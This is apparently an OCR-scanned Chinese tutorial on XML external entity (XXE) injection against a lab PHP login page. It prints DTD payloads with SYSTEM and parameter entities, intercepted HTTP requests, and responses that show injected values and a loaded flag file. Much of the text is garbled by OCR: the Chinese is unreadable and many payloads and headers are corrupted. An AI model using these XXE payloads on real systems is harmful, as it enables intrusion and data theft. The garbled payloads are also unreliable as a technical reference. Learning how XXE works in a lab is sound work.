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<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>myfriends</to>
<from>errorre</from>
<heading>Reminder</heading>
<body>Don't forget me forever!</body>
</note>

i
Reminder

to: myfriends
from: errorre

Don't forget me forever!
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XA E X (Document Type Definition, fEi#RDTD) EIXMLKI A RiE =
Y BEKERIES (Extensible Style Language, XSL) BIXMLK#HREZIES;

Ay JEEEEE S (Extensible Link Language, XLL) .
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<? version="1.8" ?>

d note [
<! ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA) >
<! ELEMENT from (#PCDATA) >
<|ELEMENT heading (#PCDATA)>
<|ELEMENT body (#PCDATA) >

1>

>
>George</to>
>John</ >
>Reminder</ >
>Don't forget the meeting!</ >
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<IDOCTYPE Rt & L&A >
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<?xml version="1.0"?>
<!DOCTYPE name[
<IENTITY errorre

1>

//DTD P B = B

"hello world"> / /DTDSEAK

<user><username>&errorrd;</username><password>123</password></user>

POST /uxelphp_xxeldoLogin.php HTTP/1.1
Host: 192.168.113.107

Content-Length: 1439

Accept: application/sml, text/xml, % g=0.01
H¥-Requested-With: XMLHitpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/a37.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Content-Type: application/xml; charset=UTF-8
Origin: http:#192.168.113.107

Referer: hitp://192 168 113107 fxxe/php_xxe/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 gn;q=0.8
Connection: close
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<?xml version="1.0"?>

<IDOCTYPE narme
I
<user><usemame
LI&ZEF; NEEEA LS ESRRE

3</password><fuser>
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<IENTITY LR 7R $ATE "SMERIIE">
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<?xml version="1.0"?>
<!DOCTYPE name[ //DTDP &R 75 B
<!ENTITY errorr® SYSTEM "http://127.0.0.1">

1>

//DTDSIER S

<user><username>&errorrd;</username><password>123</password></user>

b L —

HTTP/1.1 200 OK

Date: Sat, 09 Apr 2022 13:21:07 GMT

Server: Apache/2.4.23 (Win32) OpenSSLA1.0.2) mod_fogid2.3.9
X-Powered-By: PHP/7.1.13

Connection: close

Content-Type: text/html; charset=utf-8

Content-Length: 53

<result><code>0</code><msg>hello world</msg></result>
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POST fxxe/php_xxe/doLogin.php HTTP/1.1
Host: 192.168.113.107

Content-Length: 161

Accept: application/xml, textfeml, ** ¢=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, x64) AppleWebkKit/537 36 (KHTNL, like Gecka) Chrome/100.0.4896.75 Safari/537.36
Content-Type: application/xml; charset=UTF-8
Origin: http://192.168.113.107

Referer: http://192.168.113.107/xxe/php_xxa/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN zh;q=0.9 en;q=0.8
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HTTP/1.1 200 Ok

Date: Sat, 09 Apr 2022 13:31:01 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2) mod_fogid/2.3.9
X-Powered-By: PHP/7.1.13

Connection: close

Content-Type: text/html; charset=utf8

Content-Length: 55
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<resu\t><cnde>[l<!cnde)(iisgrhelln errnrrﬂ;’msgxfresult)

Connection: close

<?xml version="1.0"?>

<IDOCTYPE n,
<IENTITY errorl SYSTEM|"http://127.0.0.1/}>

1=

BILAERIAEFAERttp://127.0.0.1

<user=<usemame>&errond;<fusername><password>123</password></user>
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<IENTITY % SZARZ R "2k pfE">
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<!DOCTYPE name[

<IENTITY % a "hello">
<IENTITY % b "&a; errorre">
%b;

1>

BEHIHZERAN: hello errorrd

%bi H"&a; errorrQ", &a;F i —1k%a Fibl& /5B 24 R A: hello errorr0.

BEANBIT

<?xml version="1.0"?>

<!DOCTYPE name[

<IENTITY % errorrl "<!ENTITY errorr2 'hello no'>">
%errorrl;

1>

<user><username>&errorr2;</username><password>123</password></user>

FRMSHREM, R XRS5k, BEXETEFRM&errorn2; .

POST /xxelphp_xxefdoLogin.php HTTP/1.1

Host: 192.168.113.107

Content-Length: 177

Accept: application/xml, textfxml, */*; g=0.01

¥-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safarifa37.36
Content-Type: application/xml; charset=UTF-8

Origin: http://192.168.113.107

Referer: http://192.168.113.107/xxe/php_xxe/

Accept-Encoding: gzip, deflate
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HTTP/1.1 200 OK

Date: Sat, 09 Apr 2022 14:36:06 GMT

Server: Apache/2.4.23 (Win32) OpenSSU1.0.2j mod_fegid/2.3.9
¥-Powered-By: PHP/7.1.13

Connection: close

Content-Type: text/html, charset=utfg

Content-Length: 50

<result><code>0</code>< ello no<jmsg></result>

Accept-Language: zh-CN zh;q=0.9,en;q=0.8

Connection: close

<Pxml version="1.0"7>

<IDOCTYPE nams[

<IENTITY % errorrl "<IENTITY errorr2

hello nof™>
Yeerrorrt;
1B

<user><usemamefusername><passwurd>123<fpasswurd><i'user>
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<?xml version="1.0"?>

<!DOCTYPE name[

<!ENTITY % errorrl SYSTEM "http://127.0.0.1/flag.txt">
%errorrl;

%errorr;

1>

<user><username>&errorr2;</username><password>123</password></user>

flag. txtHF B TF:

<!ENTITY % errorr "<!ENTITY errorr2 ‘'yes i am a flag'>">

HEAHE, BRNEE—H—HIIK, SLRerrorriiig, #AThttplkSViflag.txt, & S$ L kerrorriy
iflag.txth KIS Lk, REETE, A errorr2, RJGHEIEREAT Y Herrorr2BI 7T B3 .

POST fxxelphp_xxe/doLogin.php HTTR/M.1 A HTTP/1.1 200 0K

Host: 10.24.38.43 1 Date: Sat, 09 Apr 2022 15:13:19 GMT

Content-Length: 191 Server. Apache/2.4.23 (Win32) OpenS50L1.0.2) mod_fogid/2.3.9
Accept: application/xml, text/xml, *™* q=0.01 ¥-Powered-By: PHP/7.1.13

¥-Requested-With: XMLHttpRequest Connection: close

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4, x64) AppleWebkKit/a37.36 (KHTML, like Gecko) Content-Type: text/html; charset=utf-8

Chrome/100.0.4896.75 Safari/537.36 Content-Length: 57

Content-Type: application/sml;charset=UTF-8

Origin: http://10.24.38.43 <result><code>0</code><msgryes i am a flag</jnsg=</result>
Referer: http://10.24.38.43/xxe/php_xxe/

Accept-Encaoding: gzip, deflate
Accept-Language: zh-CM, zh;q=0.9 en;q=0.8
Connection: close

<?xml version="1.0"7>

<IDOCTYPE name|

<IENTITY % errorrl SYSTEM "http:/127.0.0.1/flag txt">
Yeerrorrt;

Soerrorr,

IE

<user=<username>&ermor2; </usemame><password>123</password></user>
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